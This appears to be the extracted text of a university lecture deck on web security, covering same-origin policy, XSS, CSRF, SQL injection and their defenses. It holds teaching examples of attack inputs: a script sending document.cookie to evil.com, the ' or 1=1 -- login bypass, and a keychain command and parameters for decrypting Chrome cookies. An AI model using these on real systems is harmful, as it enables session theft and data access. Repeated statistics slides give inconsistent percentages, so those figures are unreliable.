Lecture 6: Web Security
2015 Security Incidents
Web Vulnerabilities by Year

- DoS
- Sql Injection
- XSS
- CSRF
Vulnerability Occurrence in Applications

- Session Management:
  - 2013: 72%
  - 2014: 58%
  - 2015: 64%

- Cross-Site Scripting (XSS):
  - 2013: 62%
  - 2014: 68%
  - 2015: 51%

- Web Server Vulnerabilities:
  - 2013: 33%
  - 2014: 31%
  - 2015: 41%

- Authentication and Authorization:
  - 2013: 61%
  - 2014: 48%
  - 2015: 39%

- Cross-Site Request Forgery (CSRF):
  - 2013: 24%
  - 2014: 23%
  - 2015: 16%

- SQL Injection:
  - 2013: 28%
  - 2014: 29%
  - 2015: 14%
HTML

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
    <head>
        <meta http-equiv="content-type" content="text/html; charset=utf-8"/>
        <title>CS 5431 Spring 2017: Practicum in System Security</title>
        <link rel="stylesheet" href="style.css"/>
        <link rel="shortcut icon" href="http://www.cornell.edu/favicon.ico"/>
    </head>
    <body>
        <div id="canvas">
            <div id="header">
                <div id="info">
                    <a href="http://www.cs.cornell.edu/courses/cs5431/2017sp">CS 5431</a>
                    <br />
                    Practicum in System Security
                </div>
            </div>
            <div id="logo">
                <a href="http://www.cs.cornell.edu"><img src="cslogo.png" alt="Cornell Computer Science"></a>
            </div>
        </div>
        <div style="clear:both;"/>
        <div id="menu">
            <ul>
                <li><a href="/index.html">Home</a></li>
                <li><a href="/syllabus.html">Syllabus</a></li>
                <li><a href="/schedule.html">Schedule</a></li>
                <li><a href="/project.html">Project</a></li>
            </ul>
        </div>
    </body>
</html>
Domain Object Model
Same Origin Policy (SOP)

Data for http://www.example.com/dir/page.html accessed by:

- http://www.example.com/dir/page2.html ✓
- https://www.example.com/dir/page.html ✗
- http://www.example.com:81/dir/page.html ✗
- http://www.example.com:80/dir/page.html ✗
- http://example.com/dir/page.html ✗
SOP Exceptions

- Domain relaxation: document.domain
- Cross-origin network requests: Access-Control-Allow-Origin
- Cross-origin client-side communication: postMessage
- Importing scripts
Cross-Site Scripting (XSS)

- Form of code injection
- evil.com sends victim a script that runs on example.com
Reflected XSS

1. Visit web site
2. Receive malicious link
3. Click on link
4. Echo user input
5. Send valuable data
Reflected XSS

• Search field on victim.com:
  
  • http://victim.com/search.php?term=apple

• Server-side implementation of search.php:
  
  <HTML>
   
   <TITLE> Search Results </TITLE>
   <BODY>
   
   Results for <?php echo $_GET[term] ?> :
   
   ... 
   
   </BODY>
  
  </HTML>

• What if victim instead clicks on:

  
  <script> window.open("http://evil.com?cookie = " +
  document.cookie )  </script>
Reflected XSS

User gets bad link

User clicks on link

Victim echoes user input

www.evil.com

http://victim.com/search.php?
  term=<script> ... </script>

www.victim.com

<html>
Results for
<script>
  window.open(http://attacker.com?
  ... document.cookie ...)
</script>
</html>
Stored XSS

1. Attack Server
   - Inject malicious script

2. User Victim
   - request content

3. Server Victim
   - receive malicious script

4. User Victim
   - steal valuable data
Stored XSS attack vectors

- loaded images
- HTML attributes
- user content (comments, blog posts)
Example XSS attacks
XSS Defenses

- Parameter Validation
- HTTP-Only Cookies
- Dynamic Data Tainting
- Static Analysis
- Script Sandboxing
Vulnerability Occurrence in Applications

- Session Management: 2013 (72%), 2014 (64%), 2015 (51%)
- Cross-Site Scripting (XSS): 2013 (62%), 2014 (68%), 2015 (51%)
- Web Server Vulnerabilities: 2013 (33%), 2014 (31%), 2015 (41%)
- Authentication and Authorization: 2013 (61%), 2014 (48%), 2015 (39%)
- Cross-Site Request Forgery (CSRF): 2013 (24%), 2014 (23%), 2015 (16%)
- SQL Injection: 2013 (28%), 2014 (29%), 2015 (14%)
HTTP Basics

GET /index.html HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Date: Fri, 17 March 2017 10:10:00 EDT
Content-Type: text/html; charset=UTF-8
Content-Length: 138
Connection: close

<html>
<head>
    <title>An Example Page</title>
</head>
<body>
    Hello World!
</body>
</html>
Session Management

HTTP GET
HTTP OK
HTTP GET
HTTP OK
Cookie Side-jacking

SSL(login)
SSL(redirect; set-cookie)
Request; cookie=SID
FireSheep (October 2010)
Cookie Forgery

SSL(login) → SSL(redirect; set-cookie) → Request; cookie=SSID
Cookie Forgery

YAHOO!
Malware

- Targets local browser state
Chrome Encrypted Cookies

- salt is 'saltysalt'
- key length is 16
- iv is 16 bytes of space b' ' * 16
- on Mac OSX:
  - password is in keychain: security find-generic-password -w -s "Chrome Safe Storage"
  - 1003 iterations
- on Chrome OS:
  - password is in keychain: "security find-generic-password -wga Chrome"
  - 1003 iterations
- on Linux:
  - password is peanuts
  - 1 iteration
- On Windows:
  - password is current user password
  - CryptProtectData uses 4000 iterations
Vulnerability Occurrence in Applications

- **Session Management**
  - 2013: 72%
  - 2014: 58%
  - 2015: 64%

- **Cross-Site Scripting (XSS)**
  - 2013: 62%
  - 2014: 68%
  - 2015: 51%

- **Web Server Vulnerabilities**
  - 2013: 33%
  - 2014: 31%
  - 2015: 41%

- **Authentication and Authorization**
  - 2013: 41%
  - 2014: 39%
  - 2015: 48%

- **Cross-Site Request Forgery (CSRF)**
  - 2013: 24%
  - 2014: 23%
  - 2015: 16%

- **SQL Injection**
  - 2013: 28%
  - 2014: 29%
  - 2015: 14%
Cross-Site Request Forgery (CSRF)

1. establish session
2. visit server (or iframe)
3. receive malicious page
4. send forged request (w/ cookie)
CSRF Defenses

- Secret Validation Token:

  <input type=hidden value=23a3af01b>

- Referer Validation:

  Referer: http://www.facebook.com/home.php

- Custom HTTP Header:

  X-Requested-By: XMLHttpRequest

- User Interaction (e.g., CAPTCHA)
Vulnerability Occurrence in Applications

- **Session Management**
  - 2013: 72%
  - 2014: 58%
  - 2015: 64%

- **Cross-Site Scripting (XSS)**
  - 2013: 62%
  - 2014: 68%
  - 2015: 51%

- **Web Server Vulnerabilities**
  - 2013: 33%
  - 2014: 31%
  - 2015: 41%

- **Authentication and Authorization**
  - 2013: 61%
  - 2014: 48%
  - 2015: 39%

- **Cross-Site Request Forgery (CSRF)**
  - 2013: 24%
  - 2014: 23%
  - 2015: 16%

- **SQL Injection**
  - 2013: 28%
  - 2014: 29%
  - 2015: 14%
SQL Injection

- SQL Injection is another example of code injection
- Adversary exploits user-controlled input to change meaning of database command
SQL Injection

Web Browser (Client) → Enter Username & Password

Web Server

SELECT *
FROM Users
WHERE user='me'
AND pwd='1234'

DB
SQL Injection

What if user = "' or 1=1 -- "
SQL Injection

Hi, this is your son's school. We're having some computer trouble.

Oh, dear - did he break something? In a way...

Did you really name your son Robert'); DROP TABLE Students;-- ?

Oh, yes. Little Bobby Tables, we call him.

Well, we've lost this year's student records. I hope you're happy.

And I hope you've learned to sanitize your database inputs.
SQLi in the Wild
Defenses Against SQL Injection

• Prepared Statements:
  
  String custname = request.getParameter("customerName");
  // perform input validation to detect attacks
  String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";

  PreparedStatement pstmt = connection.prepareStatement( query );
  pstmt.setString( 1, custname );
  ResultSet results = pstmt.executeQuery(  );

• Input Validation:
  • Case statements, cast to non-string type

• Escape User-supplied inputs:
  • Not recommended
Vulnerability Occurrence in Applications

- **2013**
  - Session Management: 72%
  - Cross-Site Scripting (XSS): 62%
  - Web Server Vulnerabilities: 33%
  - Authentication and Authorization: 61%
  - Cross-Site Request Forgery (CSRF): 24%
  - SQL Injection: 28%

- **2014**
  - Session Management: 58%
  - Cross-Site Scripting (XSS): 68%
  - Web Server Vulnerabilities: 31%
  - Authentication and Authorization: 48%
  - Cross-Site Request Forgery (CSRF): 23%
  - SQL Injection: 29%

- **2015**
  - Session Management: 64%
  - Cross-Site Scripting (XSS): 51%
  - Web Server Vulnerabilities: 41%
  - Authentication and Authorization: 39%
  - Cross-Site Request Forgery (CSRF): 16%
  - SQL Injection: 14%
One more thing…